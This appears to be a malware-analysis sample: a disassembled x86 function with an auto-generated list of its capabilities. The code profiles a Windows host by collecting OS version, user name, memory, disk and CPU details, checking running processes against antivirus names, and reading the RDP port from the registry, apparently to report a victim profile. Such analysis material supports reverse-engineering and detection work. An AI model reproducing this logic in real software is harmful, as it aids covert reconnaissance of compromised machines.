Function at 0x10009f30
Capabilities:
Check os version
Enumerate process modules
Get disk information
Get disk size
Get local ipv4 addresses
Get memory capacity
Get session user name
Get socket information
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x14ac
call fcn.10015ac0
push ebx
push ebp
push esi
push edi
mov ecx, 0x109
xor eax, eax
lea edi, [esp + 0x98]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x9c]
mov byte [esp + 0x98], 0x82
push eax
mov dword [esp + 0xa0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x250]
push ecx
push edx
mov dword [esp + 0x30], 0x32
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0
push 0
lea eax, [esp + 0x154]
push 0
push eax
push 1
push str.ProcessorNameString
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push getsockname
call fcn.100091b0
xor ecx, ecx
add esp, 0x20
mov dword [esp + 0x60], ecx
lea edx, [esp + 0x24]
mov dword [esp + 0x64], ecx
push edx
mov dword [esp + 0x6c], ecx
lea eax, [esp + 0x64]
mov dword [esp + 0x70], ecx
mov ecx, dword [esp + 0x14c4]
push eax
mov dword [esp + 0x2c], 0x10
mov edx, dword [ecx + 0xa8]
push edx
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [esp + 0x64]
lea ecx, [esp + 0x78]
push ecx
mov dword [esp + 0x14c], eax
mov dword [esp + 0x7c], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x80]
mov eax, dword [esp + 0x84]
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
xor esi, esi
shr edx, 0x14
shr eax, 0x14
xor edi, edi
mov dword [esp + 0x138], edx
mov dword [esp + 0x13c], eax
xor ebx, ebx
mov cl, bl
lea edx, [esp + 0x18]
add cl, 0x42
push edx
mov byte [esp + 0x1c], cl
mov byte [esp + 0x1d], 0x3a
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0
call ebp
cmp eax, 3
jne 0x1000a09b
lea eax, [esp + 0x50]
lea ecx, [esp + 0x58]
push eax
lea edx, [esp + 0x74]
push ecx
lea eax, [esp + 0x20]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov eax, dword [esp + 0x58]
mov edx, dword [esp + 0x5c]
mov ecx, 0x1e
call fcn.10015b30
mov edx, dword [esp + 0x54]
add esi, eax
mov eax, dword [esp + 0x50]
mov ecx, 0x1e
call fcn.10015b30
add edi, eax
inc ebx
cmp ebx, 0x1a
jl 0x1000a035
mov dword [esp + 0x140], esi
mov dword [esp + 0x144], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, 0x31b5d43b
mul esi
mov ecx, edx
mov eax, esi
xor edx, edx
mov esi, 0x5265c00
div esi
mov edi, 0x36ee80
shr ecx, 0x18
mov esi, edx
xor edx, edx
mov eax, esi
div edi
mov eax, 0x45e7b273
mul edx
shr edx, 0xe
mov eax, 0x95217cb1
push edx
mul esi
shr edx, 0x15
push edx
push ecx
lea ecx, [esp + 0x28e]
push 0x1001be1c
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [0x1001be14]
mov edx, dword [str.UnknownProcess]
mov eax, dword [0x1001be10]
mov dword [esp + 0x4c], ecx
xor ecx, ecx
mov dword [esp + 0x44], edx
mov dx, word [0x1001be18]
mov dword [esp + 0x53], ecx
mov dword [esp + 0x48], eax
mov al, byte [0x1001be1a]
add esp, 0x14
mov word [esp + 0x3c], dx
mov dword [esp + 0x43], ecx
lea edx, [esp + 0x14]
mov byte [esp + 0x3e], al
mov dword [esp + 0x47], ecx
push edx
lea eax, [esp + 0x4c0]
mov dword [esp + 0x4f], ecx
push 0x1000
push eax
mov byte [esp + 0x5b], cl
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x1000a249
mov eax, dword [esp + 0x14]
xor ebp, ebp
shr eax, 2
je 0x1000a249
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edi, [esp + 0x4bc]
mov dword [esp + 0x10], eax
mov ecx, dword [edi]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1000a237
lea edx, [esp + 0x14]
lea eax, [esp + 0x2c]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x1000a237
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x30]
push 0x20
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleBaseNameA
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.MSVCRT.dll__strrev]
add esp, 4
xor esi, esi
lea ecx, [esi + esi*4]
lea eax, [esp + 0x30]
lea edx, [ecx*4 + str.exe.cvseva]
push edx
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000a207
cmp esi, 5
jne 0x1000a214
test ebp, ebp
je 0x1000a20f
inc esi
cmp esi, 0x13
jl 0x1000a1e1
jmp 0x1000a237
mov ebp, 1
lea ecx, [esp + 0x386]
push 0x1001be08
push ecx
call ebx
shl esi, 5
add esi, str.AntiVir
lea edx, [esp + 0x386]
push esi
push edx
call ebx
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x1000a18f
push 0
push 0
lea eax, [esp + 0x492]
push 0
push eax
push 4
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerRDPTcp
push getsockname
call fcn.100091b0
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x20
lea ecx, [esp + 0x48a]
push ecx
call esi
test eax, eax
jne 0x1000a2a8
push eax
push eax
lea edx, [esp + 0x492]
push eax
push edx
push 4
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push getsockname
call fcn.100091b0
add esp, 0x20
lea eax, [esp + 0x48a]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
test eax, eax
jne 0x1000a2de
push eax
push eax
lea ecx, [esp + 0x482]
push eax
push ecx
push 4
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdTds_tcp
push getsockname
call fcn.100091b0
add esp, 0x20
mov ecx, dword [esp + 0x14b0]
lea edx, [esp + 0x88]
push 0x424
push edx
call fcn.10002d10
add esp, 0x14ac
ret 4